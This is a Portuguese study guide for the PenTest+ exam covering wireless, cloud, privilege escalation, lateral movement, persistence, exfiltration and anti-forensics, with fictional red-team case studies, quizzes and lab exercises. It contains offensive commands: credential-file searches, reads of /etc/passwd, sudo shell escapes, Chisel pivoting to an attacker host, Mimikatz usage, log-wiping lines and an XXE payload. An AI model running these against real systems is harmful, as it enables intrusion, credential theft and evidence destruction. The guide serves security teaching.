| Ataque | Protocolo alvo | Técnica | Ferramenta |
|---|---|---|---|
| WEP Crack | WEP | IV weakness, aircrack-ng após captura suficiente | aircrack-ng |
| WPA2 PSK Crack | WPA2-Personal | Capture 4-way handshake + dictionary | aircrack-ng, hashcat -m 22000 |
| PMKID Attack | WPA2/WPA3 | Captura PMKID sem handshake completo | hcxdumptool + hashcat |
| PEAP/EAP Downgrade | WPA2-Enterprise (802.1X) | Rogue AP captura credenciais do utilizador | hostapd-wpe |
| Deauthentication Attack | 802.11 | Envio de deauth frames para forçar reconexão | aireplay-ng -0 |
| Evil Twin | WiFi | AP com mesmo SSID → captura tráfego | hostapd, airbase-ng |
| Bluetooth Attacks | BT/BLE | BlueBorne, Bluebugging, BIAS attack | btlejack, gattacker |
4.5 Ataques Cloud e Contentor
A superfície de ataque cloud é distinta da infraestrutura on-premises. Misconfigurations são a principal causa de breaches em cloud.
Ataques Comuns em AWS
- S3 Bucket enumeration:
aws s3 ls s3://nome-do-bucket --no-sign-request— buckets públicos são frequentemente mal configurados. - IAM Privilege Escalation:
iam:CreatePolicyVersion,iam:AttachUserPolicy— permissões que permitem escalar para admin. - SSRF → Metadata: Acessar
169.254.169.254para credenciais IAM temporárias. - Lambda function exploitation: Environment variables com secrets, event injection.
- Container escape: Docker socket montado, capabilities excessivas, privileged containers.
Ferramentas Cloud Pentest
| Ferramenta | Cloud | Função |
|---|---|---|
| Pacu | AWS | Framework de exploração AWS (inspirado em Metasploit) |
| ScoutSuite | AWS/Azure/GCP | Auditoria de configurações multi-cloud |
| Prowler | AWS | CIS Benchmark checks, compliance assessment |
| ROADtools | Azure AD | Enumeração de Azure AD / Entra ID |
| MicroBurst | Azure | Recon e exploração Azure |
| Trivy | Containers | Scan de vulnerabilidades em imagens Docker |
FinServ Corp: da phishing à exfiltração em 72 horas
Red Team engagement para a FinServ Corp (empresa financeira fictícia). Autorização para todos os vetores incluindo social engineering. O teste simulava um grupo APT com motivação financeira. Janela de 2 semanas.
- OSINT (Dia 1): LinkedIn revelou que o departamento de Contas a Pagar usava SAP. theHarvester coletou emails no formato
nome.apelido@finservcorp.com. - Spear Phishing (Dia 2): Email personalizado fingindo ser notificação do SAP, com link para página clonada (Evilginx2). A gestora de AP autenticou-se — token de sessão capturado, bypass de MFA feito.
- Initial Access (Dia 2, hora 4): Acesso ao webmail da gestora via token. Email interno com anexo malicioso (.xlsm com macro) enviado ao colaborador de TI.
- Execution (Dia 3): Macro executou Meterpreter reverse shell. Sessão estabelecida na estação de trabalho do TI.
- Privilege Escalation (Dia 3): Token impersonation via PrintSpoofer (SeImpersonatePrivilege) → SYSTEM.
- Credential Access (Dia 3): Mimikatz
sekurlsa::logonpasswords→ hash NTLM do Domain Admin em memória (admin tinha logado naquela máquina). - Domain Dominance (Dia 3, fim): Pass-the-Hash → Domain Controller. DCSync para extrair todos os hashes do domínio. Golden Ticket criado.
- Data Exfiltration (Dia 4): Acesso ao servidor SAP, dump de dados de transações. Exfiltração simulada via DNS tunneling para C2.
- MFA pode ser bypassado com proxying (AiTM) — não é bala de prata.
- Admins nunca devem fazer login em máquinas de utilizador comum — hashes ficam em memória.
- SeImpersonatePrivilege não deve ser atribuído a contas de serviço desnecessariamente.
- DNS monitoring teria detetado o tunneling — a maioria das organizações não monitoriza DNS.
- A cadeia inteira levou menos de 72h — atacantes reais têm meses.
Mini Quiz · Domínio 4
10 questões sobre Attacks & Exploits
1Pass-the-Hash (PtH) permite a um atacante autenticar-se usando:
2Qual tipo de SQL Injection não produz output visível na resposta e usa delays para inferir dados?
3O Responder é mais eficaz em qual tipo de ambiente?
4Evilginx2 é capaz de bypassar MFA porque:
5Qual ferramenta é o equivalente do Metasploit para pentesting de ambientes AWS?
6Um XSS armazenado (stored) é mais perigoso que um XSS refletido porque:
7Password Spraying difere de brute force tradicional porque:
8Qual princípio de social engineering é explorado quando o atacante cria urgência como "a tua conta será bloqueada em 2h"?
9Qual ataque wireless captura o PMKID sem necessidade de aguardar o four-way handshake completo?
10Numa exploração web, o payload <!ENTITY xxe SYSTEM "file:///etc/passwd"> é característico de qual vulnerabilidade?
- Lab 1 — Metasploit com Metasploitable2: Configura Metasploitable2 numa VM isolada. Usa Metasploit para explorar vsftpd 2.3.4 backdoor, Samba vulnerável e UnrealIRCd. Pratica cada componente (exploit, payload, post-modules).
- Lab 2 — SQL Injection com DVWA + SQLMap: Instala DVWA (Docker). Começa com SQL Injection Manual no nível Low, depois usa SQLMap com
-r request.txt. Passa para nível Medium e High para entender bypass de filtros. - Lab 3 — Responder em lab Windows: Cria uma rede de lab com uma VM Windows 10 e Kali. Executa
responder -I eth0e navega para um share inexistente na VM Windows. Captura e crackeia o NTLMv2 com hashcat. - Lab 4 — GoPhish Phishing Campaign: Instala GoPhish localmente. Cria uma campanha de phishing contra um email próprio. Pratica criação de landing pages, tracking e relatórios. (Apenas em ambiente próprio!)
- Lab 5 — HackTheBox / TryHackMe: Salas recomendadas: "Blue" (EternalBlue), "Jerry" (Tomcat RCE), "Bashed" (command injection), "Curling" (Joomla exploitation). Cada uma cobre um vetor diferente do Domínio 4.
- Lab 6 — Cloud: flaws.cloud:
flaws.cloudeflaws2.cloudsão laboratórios gratuitos da AWS com desafios reais de misconfiguração S3, EC2 metadata, e IAM. Excelente para prática de ataques cloud.
Post-exploitation & Lateral Movement
14% do exame · persistence, escalada, pivoting, exfiltração e cobertura de trilhas
O acesso inicial é apenas o começo. A fase pós-exploração determina o verdadeiro impacto de um comprometimento: quanto mais profundo o pentester consegue ir, mais realista é a simulação de um atacante avançado (APT). Esta fase também é a mais delicada eticamente — cada ação deve ser autorizada e documentada.
5.1 Enumeração Pós-exploração
Após obter um shell, a prioridade é entender o ambiente antes de agir. Enumeração apressada pode triggerar alertas do EDR/SIEM.
Comandos de enumeração essenciais (Windows)
# Informação do sistema
whoami /all # User, groups, privileges
systeminfo # OS, hotfixes, domain info
hostname
net user # Utilizadores locais
net localgroup administrators # Admins locais
net group "Domain Admins" /domain # Domain Admins
# Rede
ipconfig /all # IPs, DNS, gateways
netstat -ano # Conexões ativas e portas
route print # Routing table
arp -a # ARP cache (hosts na rede local)
# Processos e serviços
tasklist /v # Processos em execução
sc query # Serviços Windows
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Startup items
# Ficheiros sensíveis
dir /s /b *.txt *.xml *.config 2>nul | findstr /i "pass password cred"
findstr /si "password" *.xml *.txt *.config
Enumeração pós-exploração (Linux)
id; whoami # User e grupos
uname -a # Kernel version (para kernel exploits)
cat /etc/passwd # Utilizadores do sistema
sudo -l # Sudo permissions (crítico!)
find / -perm -4000 2>/dev/null # SUID binaries
crontab -l; cat /etc/cron* # Cron jobs
env # Environment variables (possíveis secrets)
cat ~/.bash_history # Histórico de comandos
find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null
5.2 Privilege Escalation
Windows — Técnicas de Escalada
| Técnica | Condição necessária | Ferramenta |
|---|---|---|
| Token Impersonation | SeImpersonatePrivilege (contas de serviço IIS, SQL Server) | PrintSpoofer, RoguePotato, GodPotato |
| Unquoted Service Path | Path de serviço sem aspas com espaços | Manual, PowerSploit |
| Weak Service Permissions | Utilizador pode modificar config/binário do serviço | accesschk.exe, PowerUp.ps1 |
| DLL Hijacking | Aplicação carrega DLL de path gravável | Process Monitor, manual |
| AlwaysInstallElevated | Registry keys configurados como 1 | PowerUp, metasploit |
| Stored Credentials | cmdkey, credenciais em ficheiros/registry | LaZagne, Mimikatz |
| Kernel Exploits | Sistema desatualizado com CVE conhecido | Watson (sugere exploits), Sherlock |
Linux — Técnicas de Escalada
| Técnica | Condição | Exemplo |
|---|---|---|
| Sudo misconfiguration | sudo -l mostra comandos perigosos | sudo vim → :!/bin/bash |
| SUID binaries | Binário com SUID que pode ser abusado | GTFOBins para lookup de técnicas |
| Writable /etc/passwd | Permissões incorretas no ficheiro | Adicionar root:0:0 com hash custom |
| Cron job writable script | Script chamado por cron pode ser modificado | Substituir com reverse shell |
| PATH hijacking | Script root chama binário sem path absoluto | Criar fake binário no PATH |
| NFS no_root_squash | NFS share com no_root_squash | Montar share como root local, criar SUID |
| Kernel exploits | Kernel desatualizado | Dirty COW, DirtyPipe, Overlayfs |
vim, find, python, perl, awk, nmap, less. LOLBAS (lolbas-project.github.io) é o equivalente para Windows.
5.3 Lateral Movement
Lateral movement é o processo de mover-se entre sistemas na rede após o acesso inicial, expandindo o foothold e aproximando-se do objetivo (Domain Admin, dados sensíveis, etc.).
Técnicas de Lateral Movement
| Técnica | Protocolo | Ferramenta | Requisito |
|---|---|---|---|
| Pass-the-Hash | SMB/NTLM | CrackMapExec, Impacket's psexec.py | Hash NTLM válido |
| Pass-the-Ticket | Kerberos | Mimikatz, Rubeus | TGT ou TGS válido |
| Overpass-the-Hash | Kerberos | Mimikatz | Hash NTLM → TGT Kerberos |
| Remote Desktop (RDP) | RDP / 3389 | xfreerdp, mstsc | Credenciais + porta aberta |
| WinRM / PowerShell Remoting | WinRM / 5985 | Evil-WinRM, Enter-PSSession | Credenciais + WinRM ativo |
| WMI Execution | WMI / DCOM | Impacket wmiexec.py | Credenciais admin |
| SCM (Service Control Manager) | SMB + RPC | psexec.py, sc.exe | Admin share acessível |
| SSH Hijacking | SSH | ssh-agent socket | Acesso ao socket SSH do utilizador |
Pivoting e Tunneling
Pivoting é usar um sistema comprometido como "trampolim" para aceder a redes que o atacante não consegue atingir diretamente.
# SSH Dynamic Port Forwarding (SOCKS proxy)
ssh -D 1080 user@pivot_host # Cria SOCKS proxy na porta 1080
proxychains nmap -sT 10.10.10.0/24 # Usa o proxy para scan da rede interna
# SSH Local Port Forwarding
ssh -L 8080:internal_target:80 user@pivot_host # Aceder a port 80 do target interno via porta local 8080
# Chisel (tunneling através de HTTP)
# Servidor (no attacker):
chisel server -p 8000 --reverse
# Cliente (no pivot host):
chisel client attacker_ip:8000 R:1080:socks # Reverse SOCKS proxy
# Metasploit portfwd (dentro de sessão Meterpreter)
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.50
5.4 Persistence
Persistence garante que o acesso se mantém mesmo após reboots, logouts ou mudanças de password. Em engagements, persistence é criada para demonstrar que um atacante poderia manter acesso indefinidamente.
Técnicas de Persistence
| Técnica | SO | Como funciona |
|---|---|---|
| Registry Run Keys | Windows | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| Scheduled Tasks | Windows | schtasks /create — executa payload em horário definido |
| Windows Services | Windows | Criar serviço que inicia com o sistema |
| Golden Ticket | Windows AD | TGT forjado com hash do KRBTGT — válido até reset da conta |
| Silver Ticket | Windows AD | TGS forjado para serviço específico sem contactar DC |
| Cron Jobs | Linux | Entrada em crontab → executa reverse shell periodicamente |
| SSH Authorized Keys | Linux | Adicionar chave pública ao ~/.ssh/authorized_keys |
| Startup Scripts | Linux | /etc/rc.local, /etc/profile.d/, systemd services |
| Web Shell | Web | PHP/ASPX shell em servidor web para acesso persistente |
kerberos::golden), Impacket, Rubeus.
5.5 Exfiltração de Dados
A exfiltração demonstra o impacto máximo de um comprometimento. Técnicas modernas focam-se em canais que passam despercebidos nos controlos de segurança.
Técnicas de Exfiltração
| Canal | Técnica | Ferramenta | Por que passa despercebido |
|---|---|---|---|
| DNS | DNS tunneling — dados codificados em queries DNS | dnscat2, iodine | DNS raramente é bloqueado ou monitorizado profundamente |
| HTTPS | Dados em tráfego HTTPS cifrado | C2 frameworks (Cobalt Strike, Havoc) | Tráfego cifrado dificulta inspeção |
| ICMP | Dados em payload de ping | icmpsh, ptunnel | ICMP frequentemente não é filtrado |
| SMB | Cópia para share externo via SMB | smbclient | SMB comum em redes Windows |
| Cloud Storage | Upload para OneDrive, Dropbox, S3 | rclone, AWS CLI | Tráfego HTTPS para serviços legítimos |
| Steganografia | Dados escondidos em imagens/audio | steghide, OpenStego | Indetectável sem inspeção profunda |
5.6 Anti-Forensics e Cobertura de Trilhas
Em engagements Red Team avançados, simular como um APT cobre os seus rastos é parte do escopo. Em Blue Team defense, conhecer estas técnicas é essencial para forensics e threat hunting.
- Log tampering:
wevtutil cl Security(Windows) ouecho "" > /var/log/auth.log(Linux) — limpar logs de eventos. - Timestomping: modificar timestamps de ficheiros para confundir análise forense temporal.
- Memory-only payloads: malware que vive apenas em memória (fileless) — não deixa artefactos em disco. Meterpreter, Cobalt Strike Beacon.
- Process Injection: injetar código num processo legítimo (svchost.exe, explorer.exe) para ofuscar atividade.
- Living off the Land (LotL): usar ferramentas nativas do SO (PowerShell, WMI, certutil, regsvr32) para evitar alertas de AV/EDR.
InsureTech: de webshell a Domain Admin em ambiente assumidamente seguro
A InsureTech (seguradora fictícia) tinha investido recentemente em EDR (CrowdStrike), SIEM (Splunk) e um SOC terceirizado. A diretoria estava confiante na postura de segurança. O engagement era um Red Team de 4 semanas, unannounced para o SOC.
- Initial Access: File upload bypass num portal de sinistros → webshell PHP carregada (extensão renomeada para .jpg, bypassing de MIME check ingênuo).
- Enumeração silenciosa: Em vez de scripts de enumeração ruidosos (que triggariam EDR), a equipa usou WMI queries manuais e comandos nativos Windows — LotL (Living off the Land).
- Privilege Escalation: Serviço configurado com unquoted path e permissões fracas → substituição do binário → SYSTEM.
- Lateral Movement — 1ª tentativa falhada: PsExec detetado pelo EDR imediatamente. SOC abriu ticket mas não correlacionou com a webshell.
- Lateral Movement — 2ª tentativa (sucesso): WMI execution via wmiexec.py — mais silencioso, passou no EDR.
- Persistence via Scheduled Task: Task criada com nome idêntico a uma task legítima do Windows Update, executando PowerShell encoded command para beacon C2.
- DCSync via Golden Ticket: Conseguido hash NTLM do KRBTGT via DCSync (requer Domain Admin). Golden Ticket criado para persistência máxima.
- Exfiltração: Dados exfiltrados via DNS tunneling (dnscat2) — o SOC não monitorava queries DNS anómalas.
- EDR não é infalível — LotL e WMI execution podem passar.
- SOC detetou o PsExec mas não correlacionou com o evento inicial (webshell). Correlação de eventos é tão importante quanto deteção individual.
- DNS monitoring e anomaly detection em queries são frequentemente negligenciados.
- File upload controls devem validar conteúdo real do ficheiro (magic bytes), não apenas extensão ou MIME type declarado.
- Scheduled tasks com nomes de tasks legítimas exigem whitelisting de paths e hashes, não apenas nomes.
Mini Quiz · Domínio 5
10 questões sobre Post-exploitation & Lateral Movement
1Para resetar efetivamente um Golden Ticket criado por um atacante, quantas vezes é necessário resetar a password do KRBTGT?
2GTFOBins é um recurso usado para:
3Qual comando Linux exibe os binários com o bit SUID ativado, que podem ser candidatos para privilege escalation?
-perm -4000 encontra ficheiros com o SUID bit ativado (permissão que faz o binário correr como o owner, frequentemente root). 2>/dev/null suprime erros de "permission denied". sudo -l mostra o que o utilizador atual pode correr com sudo.4Pivoting com SSH Dynamic Port Forwarding cria qual tipo de proxy?
ssh -D 1080 user@pivot cria um SOCKS4/5 proxy na porta local 1080. Ferramentas como proxychains podem então rotear tráfego através desse proxy, permitindo acesso a redes atrás do pivot host.5Um ataque "Living off the Land" (LotL) caracteriza-se por:
6DNS tunneling para exfiltração é difícil de detetar porque:
7SeImpersonatePrivilege em Windows é frequentemente abusado para privilege escalation. Qual ferramenta moderna explora este privilege em sistemas Windows mais recentes?
8Qual a diferença entre Pass-the-Ticket e Pass-the-Hash?
9Um atacante usa o Mimikatz para executar um DCSync attack. Qual permissão no Active Directory é necessária para isto?
10Qual técnica de persistence é mais difícil de detetar porque o payload nunca é escrito em disco?
- Lab 1 — Privilege Escalation Windows (THM): Sala "Windows Privilege Escalation" no TryHackMe. Cobre token impersonation, unquoted service paths, AlwaysInstallElevated e DLL hijacking com ambiente guiado.
- Lab 2 — Privilege Escalation Linux (THM): Sala "Linux Privilege Escalation" — SUID, sudo misconfig, cron jobs, NFS. Depois tenta o HackTheBox "Beep" e "Nibbles" sem guia.
- Lab 3 — BloodHound AD Lab: Instala um AD lab com BadBlood (popula um AD com utilizadores/grupos vulneráveis). Usa BloodHound para visualizar attack paths. Identifica o caminho mais curto para Domain Admin.
- Lab 4 — Pivoting com SSH e Chisel: Configura 3 VMs: Kali → Pivot (Ubuntu) → Target (Windows). Pratica SSH dynamic forwarding, local port forwarding e Chisel para aceder ao Target apenas através do Pivot.
- Lab 5 — Mimikatz em lab isolado: VM Windows Server 2019 (lab isolado, sem internet). Pratica sekurlsa::logonpasswords, kerberos::golden e lsadump::dcsync. Nunca em sistemas reais ou sem autorização.
- Lab 6 — HackTheBox Pro Labs: "Offshore" e "RastaLabs" são Pro Labs com ambientes Active Directory completos que exigem encadeamento de post-exploitation — excelente simulação de exame avançado.
Ferramentas & Plataformas de Prática
Kit de estudo recomendado para a PT0-003
🛠️ Toolkit Essencial
| Categoria | Ferramenta | Onde aprender |
|---|---|---|
| Distro principal | Kali Linux / Parrot OS | kali.org — ISO gratuita |
| Framework de exploração | Metasploit Framework | metasploit.com/training |
| Web Proxy/Scanner | Burp Suite Community | portswigger.net/web-security (labs gratuitos) |
| Network Scanner | Nmap + NSE | nmap.org/book |
| AD Attack | BloodHound + SharpHound | github.com/BloodHoundAD |
| Credential Dumping | Mimikatz | Lab isolado Windows AD |
| Password Cracking | Hashcat + John the Ripper | hashcat.net/wiki |
| C2 Framework | Havoc (open-source) | github.com/HavocFramework/Havoc |
| Cloud Pentest | Pacu (AWS), ScoutSuite | flaws.cloud (prática) |
🎯 Plataformas de Prática
| Plataforma | Melhor para | Custo |
|---|---|---|
| TryHackMe | Aprendizagem guiada, iniciantes e intermédio | Gratuito + Premium ~14€/mês |
| HackTheBox | Máquinas desafiadoras, Pro Labs com AD | Gratuito + VIP ~14€/mês |
| PortSwigger Web Security Academy | Web App hacking (SQLi, XSS, SSRF, etc.) | 100% Gratuito |
| PentesterLab | Web hacking com badges e certificados | Gratuito + Pro ~20€/mês |
| flaws.cloud / flaws2.cloud | AWS cloud hacking | 100% Gratuito |
| VulnHub | VMs para download, prática offline | 100% Gratuito |
| CRTE / CRTO | Active Directory Red Teaming (certs avançadas) | ~400€ — pós PT0-003 |